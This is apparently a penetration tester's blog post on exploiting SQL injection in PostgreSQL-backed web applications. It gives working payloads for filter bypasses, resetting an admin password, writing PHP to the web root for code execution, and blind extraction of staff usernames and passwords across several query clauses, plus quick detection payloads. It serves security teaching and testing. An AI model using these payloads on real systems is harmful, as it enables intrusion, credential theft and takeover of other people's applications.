Investigation: Pentesting PostgreSQL with SQL Injections

Join Gus, explore advanced techniques for detecting and exploiting SQL Injection vulnerabilities in PostgreSQL-based web applications, ensuring robust security.

Gus Ralph
Gus Ralph
Penetration Tester
May 12, 2020

This post revolves around general analysis, exploitation and discovery of SQL Injection vulnerabilities in app using the Postgres DMBS.

We will take a look into bypass methods for web application firewalls, ways of exfiltrating data in different query clauses, such as SELECT, WHERE, ORDER BY, FROM... etc.

For a brief overview, PostgreSQL is:

[...] a free and open-source relational database management system emphasizing extensibility and technical standards compliance. It is designed to handle a range of workloads, from single machines to data warehouses or Web services with many concurrent users. - Wikipedia

DISCLAIMER: All of these bypasses and techniques have been tested on PostgreSQL version 12.2 and only 12.2

Bypass methods

Since DBMS' all use a common language for the most part (SQL), base functionalities and syntax is practically universal. This means that bypass methods from on DBMS may carry over to other ones, an example of this would be when spaces are blocked in a SQL injection, you can use a comment instead, for example:

Query: SELECT 1; Bypass: SELECT/**/1;

The example above is both compatible in MySQL and PostgreSQL (which are the DBMS' that this post will revolve around).

Bypassing spaces

As demonstrated above: /**/ == " " (without the quotation marks, a white space)

Bypassing trailing data after injection point

; -- - tells the query to ignore all trailing data, for example: SELECT 'admin' OR 1 = 1; -- -' FROM users; would turn into SELECT 'admin' OR 1 = 1;

Bypassing limits on quotation marks

Using dollars: SELECT $$test$$; is the same as SELECT 'test';

If consecutive dollar signs are blocked ($$), then you can also use tags in postgreSQL by putting tag names between dollar signs: SELECT $quote$test$quote$; is also the same as SELECT 'test';

Using the CHR() function with pipe concatenation: SELECT CHR(65)||CHR(66)||CHR(67)||CHR(68)||CHR(69)||CHR(70)||CHR(71)||CHR(72); is the equivalent of SELECT 'ABCDEFGH';

NOTE: You cannot combine both ' and $$ / $quote$, so if you need to escape a string that is started with a single quote, you will not be able to use $$ (I.E. this will not work SELECT 'test$$;)

Nested queries

Sometimes, you get lucky enough for your SQL Injection point to allow nested queries. This gives you full control over what the DB executes (as long as there isn't some sort of web application firewall or filter).

A nested query consists of terminating the query that is vulnerable to the SQL Injection and starting a completely new one, of whatever type you want. For example: SELECT [INJECTION POINT] FROM users; Could then be turned into: SELECT ''; UPDATE users SET password = '' WHERE name = 'admin'; -- -' FROM users; Which the database understands as: SELECT ''; UPDATE users SET password = '' WHERE name = 'admin'; Which will display nothing, and then set the admin password in the users table to be empty (be careful setting the admin password to blank, if the app is hashing passwords before inserting them into the database, you will not be able to login).

Final payload being: '; UPDATE users SET password = '' WHERE name = 'admin'; -- -

For the sake of in depth analysis of the following payloads, we will assume that nested queries are not allowed.

Different clause exploitation methods

This section will assume nested queries are disallowed, and will demonstrate some other ways of possibly elevating severity, or exfiltrating data via both blind and visible queries

SELECT / UNION

If your injection point is in either SELECT or UNION clauses, you are in luck. This is without a doubt the "easiest" clause to exploit, due to the early on call of the "SELECT" clause, it means you can build most of the SQL query yourself, giving you almost full flexibility. As for the UNION clause, it is probably one of the clauses with most documentation on how to exploit available online. Meaning you will most likely be able to find a payload that works for you.

SELECT

What I mean by "the clause is called early on", is that it is usually the first clause to be called in the structured statement, and the injection point is usually as far as you can get to the start. We can abuse this to basically make our own query.

An example of this is (we control anything from "[INJECTION POINT]" onwards): SELECT '[INJECTION POINT]';

Usage Complete query Payload
Append data to output of query SELECT '1' UNION SELECT 'a'; -- -' 1' UNION SELECT 'a'; -- -
Escalate to RCE via PHP code SELECT '' UNION SELECT 'MALICIOUS PHP CODE' \g /var/www/test.php; -- -'; ' UNION SELECT 'MALICIOUS PHP CODE' \g /var/www/test.php; -- -
Blind time based character exfiltration SELECT '' || pg_sleep((ASCII((SELECT 'a' LIMIT 1)) - 32) / 2); -- -'; ' || pg_sleep((ASCII((SELECT 'a' LIMIT 1)) - 32) / 2); -- -

UNION

Same rules apply as previous section, except data shall be appended to end of the output instead of clear output. A massively useful operator for both situations is the concatenate operator (||), as it can be used to append data onto output in same row.

For example: SELECT ''||password FROM users; -- -'; will return the passwords column from the users table.

WHERE

The WHERE clause is used for specifying conditionals so that the DBMS has a clearer idea of what exactly you are looking for. An example query would be: SELECT * FROM users WHERE name = 'admin';

Knowing this, and the fact that this clause also appears fairly early on in the query most of the time, we can either complete the where clause and then use UNION payloads as seen above to exploit it further, or directly use the WHERE conditionals to exfiltrate data. For example:

SELECT first_name FROM actor WHERE first_name = 'Gus'; Could be turned into: SELECT first_name FROM actor WHERE first_name = ''||(SELECT 'Penelope'); -- -';

Now that we have concatenation of strings, we can turn it into a binary query with COUNT() and CASE WHEN.

Here is a payload I developed that takes advantage of the idea that we know at least one value in the table that is being queried with the original WHERE clause.

SELECT first_name FROM actor WHERE first_name = ''||(SELECT CASE WHEN (SELECT COUNT((SELECT username FROM staff WHERE username SIMILAR TO '[BRUTEFORCE BYTE BY BYTE]%')))<>0 THEN 'Penelope' ELSE '' END);

Now, depending on whether the password starts with the byte we are bruteforcing or not, it will either return the output of the query SELECT first_name FROM actor WHERE first_name = 'Penelope'; or the output of the query SELECT first_name FROM actor WHERE first_name = '';

We can then use this information to leak the whole string in other tables of the database.

FROM

The FROM clause is used to determine what part of the database we are selecting information from, and usually comes after the argument passed to the SELECT clause.

For this SQL Injection we can rely on the trusty time based blind SQL Injection payloads, except for it to be a table, we need to give it an alias. This can be done using the "AS" clause in postgreSQL. An example would be: SELECT address FROM (SELECT * FROM address WHERE address=''||(pg_sleep(20))) ss;

We can use this to exfiltrate data purely via the FROM clause as so:

(SELECT * FROM address WHERE address=''||(SELECT CASE WHEN (SELECT COUNT((SELECT username FROM staff WHERE username SIMILAR TO 'M%')))<>0 THEN pg_sleep(20) ELSE '' END)) ss; -- -

Depending on whether the SELECT username FROM staff WHERE username SIMILAR TO 'M%' returns something or not, it will either sleep for 20 seconds, or do nothing. This can be leveraged do bruteforce data byte by byte.

The final query being something like:

SELECT address FROM (SELECT * FROM address WHERE address=''||(SELECT CASE WHEN (SELECT COUNT((SELECT username FROM staff WHERE username SIMILAR TO 'M%')))<>0 THEN pg_sleep(20) ELSE '' END)) ss; -- -;

ORDER BY

For data exfiltration purely in the ORDER BY clause it was quite complex when it came to conditionals. I found two valid parameters for the clause (true and false), then I nested SELECT and CASE WHEN statements until I could translate "if the password field of this table starts with a certain byte then sleep for 20 seconds" to "true or false".

(SELECT CASE WHEN COUNT((SELECT (SELECT CASE WHEN COUNT((SELECT username FROM staff WHERE username SIMILAR TO 'M%'))<>0 THEN pg_sleep(20) ELSE '' END)))<>0 THEN true ELSE false END); -- -

To break it down a bit further, in a full, valid query, it would look something like:

SELECT address FROM address ORDER BY (
    SELECT CASE WHEN COUNT((
        SELECT (
            SELECT CASE WHEN COUNT((
                SELECT username FROM staff WHERE username SIMILAR TO 'M%'))
            <>0 THEN pg_sleep(20) ELSE '' END)
        ))
    <>0 THEN true ELSE false END); -- -

An attempt to explain this query would look something like this:

  1. If the first COUNT function does not return zero, then we get our final true or false for the ORDER BY.
  2. This true or false is dependant on an inner select.
  3. The inner select will either sleep for 20 seconds, or return nothing.
  4. This is dependant on whether the first letter of a user in the staff table starts with an M (This is the SELECT username FROM staff WHERE username SIMILAR TO 'M%' part).

OFFSET

This clause allows you to only retrieve a portion of the rows that are generated by the rest of the query. OFFSET will remove the amount of rows given to it from the start of the rows outputted, while LIMIT will remove them from the end.

If this type of SQL injection is found in something that returns a large amount of data, you could use the amount of rows removed from the start of the output to determine length of strings, or even characters by converting the character to it's ASCII code.

For example, using the LENGTH function: dvdrental=# SELECT address FROM address OFFSET 0; will return:

 47 MySakila Drive
 28 MySQL Boulevard
 23 Workhaven Lane
 1411 Lillydale Drive
 1913 Hanoi Way
 1121 Loja Avenue
 692 Joliet Street
 1566 Inegl Manor
 53 Idfu Parkway
 1795 Santiago de Compostela Way
 900 Santiago de Compostela Parkway
 478 Joliet Way
 613 Korolev Drive
 1531 Sal Drive
 1542 Tarlac Parkway

So we can now do something along the lines of: SELECT address FROM address OFFSET 0|(SELECT LENGTH((SELECT username FROM staff WHERE username SIMILAR TO 'M%')));

 1913 Hanoi Way
 1121 Loja Avenue
 692 Joliet Street
 1566 Inegl Manor
 53 Idfu Parkway
 1795 Santiago de Compostela Way
 900 Santiago de Compostela Parkway
 478 Joliet Way
 613 Korolev Drive
 1531 Sal Drive
 1542 Tarlac Parkway

So we can see that the first 4 lines have been removed from the output, meaning the length of the username in the staff table, that starts with "M", is 4 characters long.

Furthermore, based on whether the OFFSET clause removes rows or not, we can blindly brute-force values in the database, byte by byte. Like this: SELECT address FROM address OFFSET 0+(SELECT LENGTH((SELECT password FROM staff WHERE password SIMILAR TO '8%' LIMIT 1)));

This will set the amount of rows to remove from the start to be 0 + (LENGTH OF PASSWORD THAT STARTS WITH "8"), so if a password exists that starts 8, we will see a difference in the amount of rows returned. This can be used to further check for each byte, until we retrieve the whole password value.

HAVING

This parameter accepts a conditional, so I added an "AND" operator to make it so both values must be true, then I added the conditional that will allow us to brute-force the value byte by byte.

t' AND (SELECT COUNT((SELECT password FROM staff WHERE password SIMILAR TO '8%' LIMIT 1))) = 1; -- -

Similarly, if output is not displayed, you can make the most of the pg_sleep() function to sleep for 20 seconds if it is true, and use that to determine the conditionals output.

Quick tests for vulnerability

These are all quick payloads to use in parameters that seem vulnerable that should cause the app to sleep and delay response time. If the server response time increases by a significant amount with the payload (around 20 seconds), it means the application is vulnerable.

SELECT

If parameter is an integer: pg_sleep(20); -- - If the parameter is a string: '||pg_sleep(20); -- -

FROM

This will only work if a valid table name and column is provided in the first SELECT clause of the payload

(SELECT * FROM [TABLE] WHERE [COLUMN]=1|(SELECT (SELECT CASE WHEN COUNT((SELECT pg_sleep(20)))<>0 THEN 1 ELSE 2 END))) ss; -- - or (SELECT * FROM [TABLE] WHERE [COLUMN] = 'asd'::varchar||(SELECT (SELECT CASE WHEN COUNT((SELECT pg_sleep(20)))<>0 THEN 1 ELSE 2 END))) ss; -- -

Final "ss" is necessary, but can be anything that isn't a reserved word

When known column requires an int

Example: (SELECT * FROM address WHERE address_id=1|(SELECT (SELECT CASE WHEN COUNT((SELECT pg_sleep(20)))<>0 THEN 1 ELSE 2 END))) ss; -- - Full query: SELECT address FROM (SELECT * FROM address WHERE address_id=1|(SELECT (SELECT CASE WHEN COUNT((SELECT pg_sleep(20)))<>0 THEN 1 ELSE 2 END))) ss; -- -

When known column requires a string

Example: (SELECT * FROM address WHERE address = 'asd'::varchar||(SELECT (SELECT CASE WHEN COUNT((SELECT pg_sleep(20)))<>0 THEN 1 ELSE 2 END))) ss; -- - Full query: SELECT address FROM (SELECT * FROM address WHERE address = 'asd'::varchar||(SELECT (SELECT CASE WHEN COUNT((SELECT pg_sleep(20)))<>0 THEN 1 ELSE 2 END))) ss; -- -

WHERE

If parameter is an integer: 1|(SELECT (SELECT CASE WHEN COUNT((SELECT pg_sleep(20)))<>0 THEN 1 ELSE 2 END)); -- - If parameter is a string: '||(pg_sleep(20)); -- -

ORDER BY

WARNING, THIS WILL NOT ACTUALLY CHANGE THE ORDER OF THE OUTPUT DEPENDING ON BOOLEAN OUTPUT, IT IS PURELY TO TRIGGER THE pg_sleep(20) (SELECT CASE WHEN COUNT((SELECT pg_sleep(20)))<>0 THEN true ELSE false END); -- -

HAVING

If parameter is an integer: (COUNT((SELECT pg_sleep(20)))=1); -- - If parameter is a string: t' AND (SELECT COUNT((SELECT pg_sleep(20)))) = 1; -- -

OFFSET

If parameter is an integer: 1|(SELECT COUNT((SELECT pg_sleep(20)))); -- - If parameter is a string, use "::integer" to convert value to int string and then same payload as above: 1'::integer + 1|(SELECT COUNT((SELECT pg_sleep(20)))); -- -

Conclusion

In conclusion, many techniques and methodologies carry over from other DBMS' to postgreSQL, although I noticed a lack in public SQL Injection payloads for this specific engine.

As I had never played with postgreSQL before, I thought it would be a good opportunity to broaden my knowledge of techniques, and also familiarize myself with what is possible in this DBMS, that may not be in others.

References

Get your instant pentest quote

More recommended articles

© 2024 ONSECURITY TECHNOLOGY LIMITED (company registered in England and Wales. Registered number: 14184026 Registered office: Runway East, 101 Victoria Street, Bristol, England, BS1 6PU). All rights reserved.